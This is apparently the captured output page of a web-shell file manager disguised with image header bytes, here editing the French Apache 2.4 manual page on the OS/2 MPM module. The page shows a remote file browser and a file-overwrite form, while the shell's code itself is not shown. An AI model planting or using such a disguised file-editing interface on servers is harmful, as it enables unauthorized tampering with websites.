�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FAPACHE%2F'>APACHE</a>/<a href='?path=%2Fbig%2FAPACHE%2Fmanual%2F'>manual</a>/<a href='?path=%2Fbig%2FAPACHE%2Fmanual%2Fmod%2F'>mod</a>/</p><hr><h3>✏️ Editing: mpmt_os2.html.fr.utf8</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; lang=&quot;fr&quot; xml:lang=&quot;fr&quot;&gt;&lt;head&gt;
&lt;meta content=&quot;text/html; charset=UTF-8&quot; http-equiv=&quot;Content-Type&quot; /&gt;
&lt;!--
        XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
              This file is generated from xml source: DO NOT EDIT
        XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
      --&gt;
&lt;title&gt;mpmt_os2 - Serveur HTTP Apache Version 2.4&lt;/title&gt;
&lt;link href=&quot;../style/css/manual.css&quot; rel=&quot;stylesheet&quot; media=&quot;all&quot; type=&quot;text/css&quot; title=&quot;Main stylesheet&quot; /&gt;
&lt;link href=&quot;../style/css/manual-loose-100pc.css&quot; rel=&quot;alternate stylesheet&quot; media=&quot;all&quot; type=&quot;text/css&quot; title=&quot;No Sidebar - Default font size&quot; /&gt;
&lt;link href=&quot;../style/css/manual-print.css&quot; rel=&quot;stylesheet&quot; media=&quot;print&quot; type=&quot;text/css&quot; /&gt;&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;../style/css/prettify.css&quot; /&gt;
&lt;script src=&quot;../style/scripts/prettify.min.js&quot; type=&quot;text/javascript&quot;&gt;
&lt;/script&gt;

&lt;link href=&quot;../images/favicon.ico&quot; rel=&quot;shortcut icon&quot; /&gt;&lt;/head&gt;
&lt;body&gt;
&lt;div id=&quot;page-header&quot;&gt;
&lt;p class=&quot;menu&quot;&gt;&lt;a href=&quot;../mod/&quot;&gt;Modules&lt;/a&gt; | &lt;a href=&quot;../mod/directives.html&quot;&gt;Directives&lt;/a&gt; | &lt;a href=&quot;http://wiki.apache.org/httpd/FAQ&quot;&gt;FAQ&lt;/a&gt; | &lt;a href=&quot;../glossary.html&quot;&gt;Glossaire&lt;/a&gt; | &lt;a href=&quot;../sitemap.html&quot;&gt;Plan du site&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;apache&quot;&gt;Serveur HTTP Apache Version 2.4&lt;/p&gt;
&lt;img alt=&quot;&quot; src=&quot;../images/feather.png&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;up&quot;&gt;&lt;a href=&quot;./&quot;&gt;&lt;img title=&quot;&amp;lt;-&quot; alt=&quot;&amp;lt;-&quot; src=&quot;../images/left.gif&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div id=&quot;path&quot;&gt;
&lt;a href=&quot;http://www.apache.org/&quot;&gt;Apache&lt;/a&gt; &amp;gt; &lt;a href=&quot;http://httpd.apache.org/&quot;&gt;Serveur HTTP&lt;/a&gt; &amp;gt; &lt;a href=&quot;http://httpd.apache.org/docs/&quot;&gt;Documentation&lt;/a&gt; &amp;gt; &lt;a href=&quot;../&quot;&gt;Version 2.4&lt;/a&gt; &amp;gt; &lt;a href=&quot;./&quot;&gt;Modules&lt;/a&gt;&lt;/div&gt;
&lt;div id=&quot;page-content&quot;&gt;
&lt;div id=&quot;preamble&quot;&gt;&lt;h1&gt;Apache MPM os2&lt;/h1&gt;
&lt;div class=&quot;toplang&quot;&gt;
&lt;p&gt;&lt;span&gt;Langues Disponibles: &lt;/span&gt;&lt;a href=&quot;../en/mod/mpmt_os2.html&quot; hreflang=&quot;en&quot; rel=&quot;alternate&quot; title=&quot;English&quot;&gt;&amp;nbsp;en&amp;nbsp;&lt;/a&gt; |
&lt;a href=&quot;../fr/mod/mpmt_os2.html&quot; title=&quot;Français&quot;&gt;&amp;nbsp;fr&amp;nbsp;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;table class=&quot;module&quot;&gt;&lt;tr&gt;&lt;th&gt;&lt;a href=&quot;module-dict.html#Description&quot;&gt;Description:&lt;/a&gt;&lt;/th&gt;&lt;td&gt;MPM hybride multi-processus, multi-thread pour
OS/2&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th&gt;&lt;a href=&quot;module-dict.html#Status&quot;&gt;Statut:&lt;/a&gt;&lt;/th&gt;&lt;td&gt;MPM&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th&gt;&lt;a href=&quot;module-dict.html#ModuleIdentifier&quot;&gt;Identificateur de Module:&lt;/a&gt;&lt;/th&gt;&lt;td&gt;mpm_mpmt_os2_module&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th&gt;&lt;a href=&quot;module-dict.html#SourceFile&quot;&gt;Fichier Source:&lt;/a&gt;&lt;/th&gt;&lt;td&gt;mpmt_os2.c&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;h3&gt;Sommaire&lt;/h3&gt;

    &lt;p&gt;Le serveur se compose d&#039;un processus principal parent, et d&#039;un
    petit nombre fixe de processus enfants.&lt;/p&gt;

    &lt;p&gt;La tâche du processus parent consiste à gérer les processus
    enfants, c&#039;est à dire lancer ces processus de manière à ce
    qu&#039;il y en ait toujours un nombre égal à la valeur de la directive
    &lt;code class=&quot;directive&quot;&gt;&lt;a href=&quot;../mod/mpm_common.html#startservers&quot;&gt;StartServers&lt;/a&gt;&lt;/code&gt; pour traiter
    les connexions.&lt;/p&gt;

    &lt;p&gt;Chaque processus enfant comporte un jeu de threads esclaves et un
    thread maître qui accepte les connexions et les distribue aux
    esclaves via une file de travail. Le jeu de threads esclaves est
    dynamique et géré par un thread de maintenance de façon à ce que le
    nombre de threads inactifs soit maintenu entre &lt;code class=&quot;directive&quot;&gt;&lt;a href=&quot;../mod/mpm_common.html#minsparethreads&quot;&gt;MinSpareThreads&lt;/a&gt;&lt;/code&gt; et &lt;code class=&quot;directive&quot;&gt;&lt;a href=&quot;../mod/mpm_common.html#maxsparethreads&quot;&gt;MaxSpareThreads&lt;/a&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div id=&quot;quickview&quot;&gt;&lt;a href=&quot;https://www.apache.org/foundation/contributing.html&quot; class=&quot;badge&quot;&gt;&lt;img src=&quot;https://www.apache.org/images/SupportApache-small.png&quot; alt=&quot;Support Apache!&quot; /&gt;&lt;/a&gt;&lt;h3 class=&quot;directives&quot;&gt;Directives&lt;/h3&gt;
&lt;ul id=&quot;toc&quot;&gt;
&lt;li&gt;&lt;img alt=&quot;&quot; src=&quot;../images/right.gif&quot; /&gt; &lt;a href=&quot;mod_unixd.html#group&quot;&gt;Group&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img alt=&quot;&quot; src=&quot;../images/right.gif&quot; /&gt; &lt;a href=&quot;mpm_common.html#listen&quot;&gt;Listen&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img alt=&quot;&quot; src=&quot;../images/right.gif&quot; /&gt; &lt;a href=&quot;mpm_common.html#listenbacklog&quot;&gt;ListenBacklog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img alt=&quot;&quot; src=&quot;../images/right.gif&quot; /&gt; &lt;a href=&quot;mpm_common.html#maxconnectionsperchild&quot;&gt;MaxConnectionsPerChild&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img alt=&quot;&quot; src=&quot;../images/right.gif&quot; /&gt; &lt;a href=&quot;mpm_common.html#maxsparethreads&quot;&gt;MaxSpareThreads&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img alt=&quot;&quot; src=&quot;../images/right.gif&quot; /&gt; &lt;a href=&quot;mpm_common.html#minsparethreads&quot;&gt;MinSpareThreads&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img alt=&quot;&quot; src=&quot;../images/right.gif&quot; /&gt; &lt;a href=&quot;mpm_common.html#pidfile&quot;&gt;PidFile&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img alt=&quot;&quot; src=&quot;../images/right.gif&quot; /&gt; &lt;a href=&quot;mpm_common.html#receivebuffersize&quot;&gt;ReceiveBufferSize&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img alt=&quot;&quot; src=&quot;../images/right.gif&quot; /&gt; &lt;a href=&quot;mpm_common.html#sendbuffersize&quot;&gt;SendBufferSize&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img alt=&quot;&quot; src=&quot;../images/right.gif&quot; /&gt; &lt;a href=&quot;mpm_common.html#startservers&quot;&gt;StartServers&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img alt=&quot;&quot; src=&quot;../images/right.gif&quot; /&gt; &lt;a href=&quot;mod_unixd.html#user&quot;&gt;User&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Traitement des bugs&lt;/h3&gt;&lt;ul class=&quot;seealso&quot;&gt;&lt;li&gt;&lt;a href=&quot;https://www.apache.org/dist/httpd/CHANGES_2.4&quot;&gt;Journal des modifications de httpd&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://bz.apache.org/bugzilla/buglist.cgi?bug_status=__open__&amp;amp;list_id=144532&amp;amp;product=Apache%20httpd-2&amp;amp;query_format=specific&amp;amp;order=changeddate%20DESC%2Cpriority%2Cbug_severity&amp;amp;component=mpmt_os2&quot;&gt;Problèmes connus&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://bz.apache.org/bugzilla/enter_bug.cgi?product=Apache%20httpd-2&amp;amp;component=mpmt_os2&quot;&gt;Signaler un bug&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Voir aussi&lt;/h3&gt;
&lt;ul class=&quot;seealso&quot;&gt;
&lt;li&gt;&lt;a href=&quot;../bind.html&quot;&gt;Définition des adresses et ports
qu&#039;utilise Apache&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#comments_section&quot;&gt;Commentaires&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;

&lt;/div&gt;
&lt;div class=&quot;bottomlang&quot;&gt;
&lt;p&gt;&lt;span&gt;Langues Disponibles: &lt;/span&gt;&lt;a href=&quot;../en/mod/mpmt_os2.html&quot; hreflang=&quot;en&quot; rel=&quot;alternate&quot; title=&quot;English&quot;&gt;&amp;nbsp;en&amp;nbsp;&lt;/a&gt; |
&lt;a href=&quot;../fr/mod/mpmt_os2.html&quot; title=&quot;Français&quot;&gt;&amp;nbsp;fr&amp;nbsp;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;&lt;div class=&quot;top&quot;&gt;&lt;a href=&quot;#page-header&quot;&gt;&lt;img src=&quot;../images/up.gif&quot; alt=&quot;top&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;section&quot;&gt;&lt;h2&gt;&lt;a id=&quot;comments_section&quot; name=&quot;comments_section&quot;&gt;Commentaires&lt;/a&gt;&lt;/h2&gt;&lt;div class=&quot;warning&quot;&gt;&lt;strong&gt;Notice:&lt;/strong&gt;&lt;br /&gt;This is not a Q&amp;amp;A section. Comments placed here should be pointed towards suggestions on improving the documentation or server, and may be removed by our moderators if they are either implemented or considered invalid/off-topic. Questions on how to manage the Apache HTTP Server should be directed at either our IRC channel, #httpd, on Libera.chat, or sent to our &lt;a href=&quot;https://httpd.apache.org/lists.html&quot;&gt;mailing lists&lt;/a&gt;.&lt;/div&gt;
&lt;script type=&quot;text/javascript&quot;&gt;&lt;!--//--&gt;&lt;![CDATA[//&gt;&lt;!--
var comments_shortname = &#039;httpd&#039;;
var comments_identifier = &#039;http://httpd.apache.org/docs/2.4/mod/mpmt_os2.html&#039;;
(function(w, d) {
    if (w.location.hostname.toLowerCase() == &quot;httpd.apache.org&quot;) {
        d.write(&#039;&lt;div id=&quot;comments_thread&quot;&gt;&lt;\/div&gt;&#039;);
        var s = d.createElement(&#039;script&#039;);
        s.type = &#039;text/javascript&#039;;
        s.async = true;
        s.src = &#039;https://comments.apache.org/show_comments.lua?site=&#039; + comments_shortname + &#039;&amp;page=&#039; + comments_identifier;
        (d.getElementsByTagName(&#039;head&#039;)[0] || d.getElementsByTagName(&#039;body&#039;)[0]).appendChild(s);
    }
    else { 
        d.write(&#039;&lt;div id=&quot;comments_thread&quot;&gt;Comments are disabled for this page at the moment.&lt;\/div&gt;&#039;);
    }
})(window, document);
//--&gt;&lt;!]]&gt;&lt;/script&gt;&lt;/div&gt;&lt;div id=&quot;footer&quot;&gt;
&lt;p class=&quot;apache&quot;&gt;Copyright 2025 The Apache Software Foundation.&lt;br /&gt;Autorisé sous &lt;a href=&quot;http://www.apache.org/licenses/LICENSE-2.0&quot;&gt;Apache License, Version 2.0&lt;/a&gt;.&lt;/p&gt;
&lt;p class=&quot;menu&quot;&gt;&lt;a href=&quot;../mod/&quot;&gt;Modules&lt;/a&gt; | &lt;a href=&quot;../mod/directives.html&quot;&gt;Directives&lt;/a&gt; | &lt;a href=&quot;http://wiki.apache.org/httpd/FAQ&quot;&gt;FAQ&lt;/a&gt; | &lt;a href=&quot;../glossary.html&quot;&gt;Glossaire&lt;/a&gt; | &lt;a href=&quot;../sitemap.html&quot;&gt;Plan du site&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;script type=&quot;text/javascript&quot;&gt;&lt;!--//--&gt;&lt;![CDATA[//&gt;&lt;!--
if (typeof(prettyPrint) !== &#039;undefined&#039;) {
    prettyPrint();
}
//--&gt;&lt;!]]&gt;&lt;/script&gt;
&lt;/body&gt;&lt;/html&gt;</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FAPACHE%2Fmanual%2Fmod'>🔙 Back</a></p>